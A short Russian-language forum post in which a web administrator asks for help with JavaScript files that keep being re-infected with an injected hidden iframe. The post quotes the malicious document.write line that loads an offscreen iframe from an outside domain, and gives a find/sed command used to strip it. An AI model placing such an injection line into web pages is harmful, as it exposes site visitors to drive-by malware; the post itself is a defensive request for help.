Последнее время стал очень часто видеть код вида :

;document.write('<iframe style="position:fixed;top:0px;left:-550px;" src="http://umviz.freewww.info/160fd366d5bd2bd6ff4a70.hVX0mz7?13" height="499" width="499"></iframe>');

В .bash_history вроде под рутом ничего никто не делал, В логах тоже ничего не найду не хорошего...
Меняю пароли ftp... и т.п.
Далее либо убираю код с помощью:

find -name \*.js -exec sed -i "s/;document.write('<iframe width=\"55\" height=\"55\" style=\"width:100px;height:100px;position:absolute;left:-100px;top:0;\" src=\"http:\/\/\(.*\)\"><\/iframe>');//g" {} \;

Либо восстанавливаю копии из резерва еще не зараженные...
Потом, через неделю опять все файлы js с вредоносным кодом.

Подскажите, куда покопать, то посмотреть еще?
Где- то дыра наверно на запись в файлы?

PS: //группа apache и группа пользователей ftp одинаковая